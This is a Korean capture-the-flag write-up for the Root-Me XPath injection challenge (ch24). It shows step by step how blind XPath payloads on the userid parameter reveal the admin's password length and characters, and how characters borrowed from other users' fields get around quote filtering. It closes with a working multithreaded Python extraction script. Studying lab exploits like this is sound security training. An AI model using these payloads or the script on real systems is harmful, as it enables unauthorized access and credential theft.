문제를 해결하기 위해서는 admin의 password를 알아내야 한다.
Members로 들어가게 되면 John 이 admin 인걸 확인할 수 있다.
그리고 특정 Username을 클릭하게 되면 profile을 보여주고 메시지를 보내는 기능이 존재하는데 기능은 작동하지 않는 거 같다.
userid 값을 문자나 큰 수로 변경해주게 되면 XPath error라고 XPath의 구문을 보여주게 된다.
이제 XPath injection 이 가능한 부분을 찾았고 exploit 하면 된다.
John의 password를 뽑기 위해 password 노드의 이름을 알아내야 한다.
?action=user&userid=2 and pass XPath error
?action=user&userid=2 and pw XPath error
?action=user&userid=2 and password John
위처럼 password 노드를 개싱을 통해서 알아낼 수 있다.
John의 password 길이를 알아내기 위해 XPath의 내장 함수인 string-length를 사용
?action=user&userid=2 and string-length(password)>10 John
?action=user&userid=2 and string-length(password)>15 XPath error
?action=user&userid=2 and string-length(password)>12 John
?action=user&userid=2 and string-length(password)>13 XPath error
?action=user&userid=2 and string-length(password)=13 John
John의 password 길이는 13
XPath substring을 통해서 값들을 하나씩 뽑아낼 수 있다.
?action=user&userid=2 and substring(password,1,1) = 'a' XPath error user[userid=\'a\'] // quote 필터링
?action=user&userid=2 and substring(password,1,1) = "a" XPath error user[userid=\"a\"] // double quote 필터링
?action=user&userid=2 and substring(password,1,1) = 0x61 XPath error user [userid=0x61] // 이런 거 지원 안됨.
single quote와 double quote가 필터링되 특정 문자를 만들 수 없다.
하지만 다른 노드들이 가지고 있는 값들을 Members를 통해서 알고 있음으로 그 값들을 통해서 문자를 추출하자.
//user[1] ==> Steve의 정보를 가지고 있는 노드
//user[1]/username ==> Steve의 username // steve
//user[1]/email ==> Steve의 email // steve@jobs.com
//user[1]/account ==> Steve의 account type // subscriber
substring(//user[1]/username,1,1) ==> 's'
substring(//user[1]/username,2,1) ==> 't'
substring(//user[1]/username,3,1) ==> 'e'
.....
이처럼 값들을 뽑게 되면 [a-z] [A-Z] @ . 가 나오는데 이중에 비는 값들도 존재하는데
그 값들은 brute force를 통해서 해결 가능하다.
substring(//user[1]/account,2,1) ==> 'u'
?action=user&userid=2 and substring(password,1,1) = substring(//user[1]/account,2,1) => John ( True )
password의 첫 번째 자리는 'u'
substring(//user[1]/account,3,1) ==> 'b'
?action=user&userid=2 and substring(password,1,1) > substring(//user[1]/account,3,1)
Expected result ) John ( True )
Actual result ) XPath error // XPath는 문자에 대한 크기 비교가 안되는 듯하다.
문자에 대한 크기 비교가 되었으면 추출한 값 중 빈 값에 대해 brute force가 수월했을 것이다.
하지만 문제에서 추출한 값을 통해 John의 password가 구해지므로 brute force를 할 필요가 없다.
exploit code
from requests import *
import threading
password = ['?','?','?','?','?','?','?','?','?','?','?','?','?']
url = "http://challenge01.root-me.org/web-serveur/ch24/?action=user&userid="
data = {
'@':'email,2,5',
'.':'email,2,9',
'E':'username,3,1',
'J':'username,2,1',
'S':'username,1,1',
'a':'email,3,5',
'b':'email,1,9',
'c':'email,3,3',
'd':'email,2,6',
'e':'email,1,3',
'g':'email,2,12',
'h':'email,2,3',
'i':'email,3,2',
'j':'email,1,7',
'l':'email,5,2',
'm':'email,5,9',
'n':'email,2,4',
'o':'email,1,8',
'r':'email,3,1',
's':'email,1,1',
't':'email,1,2',
'u':'account,1,2',
'v':'email,1,4',
'y':'email,4,5',
'z':'email,3,11'
}
def extract(idx):
for i in data:
godget = data[i].split(",")
query = "2 and substring(//user[2]/password,{},1) = substring(//user[{}]/{},{},1)".format(idx,godget[1],godget[0],godget[2])
res = get(url+query)
print(query, i)
if(res.text.find("XPath error :") == -1):
password[idx-1] = i
print(''.join(password))
return 0
for j in range(0,10):
query = "2 and substring(//user[2]/password,{},1) = {}".format(idx,j)
res = get(url+query)
print(query, j)
if(res.text.find("XPath error :") == -1):
password[idx-1] = str(j)
print(''.join(password))
return 0
if __name__ == '__main__':
for i in range(1,14):
my_thread = threading.Thread(target=extract, args=(i,))
my_thread.start()